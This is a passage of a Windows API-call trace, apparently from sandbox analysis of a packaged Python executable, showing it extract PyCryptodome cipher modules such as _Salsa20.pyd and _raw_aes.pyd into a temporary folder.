cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.344] GetFileType (hFile=0x10c) returned 0x1 [0034.344] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.344] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.344] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.344] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.344] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.344] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.344] CloseHandle (hObject=0x10c) returned 1 [0034.344] GetLastError () returned 0x0 [0034.344] SetLastError (dwErrCode=0x0) [0034.344] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_Salsa20.pyd") returned 72 [0034.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_Salsa20.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_salsa20.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.344] GetLastError () returned 0x2 [0034.344] SetLastError (dwErrCode=0x2) [0034.344] GetLastError () returned 0x2 [0034.344] SetLastError (dwErrCode=0x2) [0034.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_Salsa20.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_Salsa20.pyd", lpFilePart=0x0) returned 0x47 [0034.345] GetLastError () returned 0x2 [0034.345] SetLastError (dwErrCode=0x2) [0034.345] GetLastError () returned 0x2 [0034.345] SetLastError (dwErrCode=0x2) [0034.345] GetLastError () returned 0x2 [0034.345] SetLastError (dwErrCode=0x2) [0034.345] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_Salsa20.pyd") returned 72 [0034.345] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_Salsa20.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_salsa20.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.349] GetFileType (hFile=0x10c) returned 0x1 [0034.349] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.349] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.352] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.352] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe00, lpOverlapped=0x0) returned 1 [0034.352] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.352] CloseHandle (hObject=0x10c) returned 1 [0034.353] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.353] htonl (hostlong=0x30000000) returned 0x30 [0034.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.353] GetFileType (hFile=0x10c) returned 0x1 [0034.353] htonl (hostlong=0x646b0000) returned 0x6b64 [0034.353] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x51b64, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.353] htonl (hostlong=0xfa0e0000) returned 0xefa [0034.353] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xefa) returned 0x55d270 [0034.353] htonl (hostlong=0xfa0e0000) returned 0xefa [0034.353] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.353] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.353] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e00) returned 0x561090 [0034.354] htonl (hostlong=0xfa0e0000) returned 0xefa [0034.354] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e98 [0034.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e98 | out: hHeap=0x530000) returned 1 [0034.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.354] CloseHandle (hObject=0x10c) returned 1 [0034.354] GetLastError () returned 0x0 [0034.354] SetLastError (dwErrCode=0x0) [0034.354] GetLastError () returned 0x0 [0034.354] SetLastError (dwErrCode=0x0) [0034.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.354] GetFileType (hFile=0x10c) returned 0x1 [0034.354] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.354] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.354] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.354] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.355] CloseHandle (hObject=0x10c) returned 1 [0034.355] GetLastError () returned 0x0 [0034.355] SetLastError (dwErrCode=0x0) [0034.355] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.355] GetFileType (hFile=0x10c) returned 0x1 [0034.355] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.355] CloseHandle (hObject=0x10c) returned 1 [0034.356] GetLastError () returned 0x0 [0034.356] SetLastError (dwErrCode=0x0) [0034.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_chacha20.pyd") returned 73 [0034.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_chacha20.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_chacha20.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.356] GetLastError () returned 0x2 [0034.356] SetLastError (dwErrCode=0x2) [0034.356] GetLastError () returned 0x2 [0034.356] SetLastError (dwErrCode=0x2) [0034.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_chacha20.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_chacha20.pyd", lpFilePart=0x0) returned 0x48 [0034.356] GetLastError () returned 0x2 [0034.356] SetLastError (dwErrCode=0x2) [0034.356] GetLastError () returned 0x2 [0034.356] SetLastError (dwErrCode=0x2) [0034.356] GetLastError () returned 0x2 [0034.356] SetLastError (dwErrCode=0x2) [0034.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_chacha20.pyd") returned 73 [0034.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_chacha20.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_chacha20.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.356] GetFileType (hFile=0x10c) returned 0x1 [0034.357] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.357] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.358] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe00, lpOverlapped=0x0) returned 1 [0034.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.358] CloseHandle (hObject=0x10c) returned 1 [0034.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.359] htonl (hostlong=0x30000000) returned 0x30 [0034.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.359] GetFileType (hFile=0x10c) returned 0x1 [0034.359] htonl (hostlong=0x5e7a0000) returned 0x7a5e [0034.359] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x52a5e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.359] htonl (hostlong=0xa73b0000) returned 0x3ba7 [0034.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3ba7) returned 0x560088 [0034.359] htonl (hostlong=0xa73b0000) returned 0x3ba7 [0034.359] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0034.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x563c38 [0034.359] ReadFile (in: hFile=0x10c, lpBuffer=0x563c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x563c38*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.359] htonl (hostlong=0x700000) returned 0x7000 [0034.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7000) returned 0x564c40 [0034.360] htonl (hostlong=0xa73b0000) returned 0x3ba7 [0034.360] htonl (hostlong=0x700000) returned 0x7000 [0034.360] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x55d270 [0034.360] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.360] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.360] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563c38 | out: hHeap=0x530000) returned 1 [0034.360] CloseHandle (hObject=0x10c) returned 1 [0034.360] GetLastError () returned 0x0 [0034.360] SetLastError (dwErrCode=0x0) [0034.360] GetLastError () returned 0x0 [0034.361] SetLastError (dwErrCode=0x0) [0034.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.361] GetFileType (hFile=0x10c) returned 0x1 [0034.361] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.361] CloseHandle (hObject=0x10c) returned 1 [0034.361] GetLastError () returned 0x0 [0034.361] SetLastError (dwErrCode=0x0) [0034.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.361] GetFileType (hFile=0x10c) returned 0x1 [0034.361] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.362] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.362] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.362] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.362] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.362] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.362] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.362] CloseHandle (hObject=0x10c) returned 1 [0034.362] GetLastError () returned 0x0 [0034.362] SetLastError (dwErrCode=0x0) [0034.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aes.pyd") returned 72 [0034.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aes.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_aes.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.362] GetLastError () returned 0x2 [0034.362] SetLastError (dwErrCode=0x2) [0034.362] GetLastError () returned 0x2 [0034.362] SetLastError (dwErrCode=0x2) [0034.362] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aes.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aes.pyd", lpFilePart=0x0) returned 0x47 [0034.362] GetLastError () returned 0x2 [0034.362] SetLastError (dwErrCode=0x2) [0034.362] GetLastError () returned 0x2 [0034.362] SetLastError (dwErrCode=0x2) [0034.362] GetLastError () returned 0x2 [0034.362] SetLastError (dwErrCode=0x2) [0034.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aes.pyd") returned 72 [0034.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_aes.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_aes.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.363] GetFileType (hFile=0x10c) returned 0x1 [0034.363] htonl (hostlong=0x700000) returned 0x7000 [0034.363] WriteFile (in: hFile=0x10c, lpBuffer=0x564c40*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564c40*, lpNumberOfBytesWritten=0x4fcd00*=0x7000, lpOverlapped=0x0) returned 1 [0034.365] CloseHandle (hObject=0x10c) returned 1 [0034.366] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564c40 | out: hHeap=0x530000) returned 1 [0034.366] htonl (hostlong=0x30000000) returned 0x30 [0034.366] 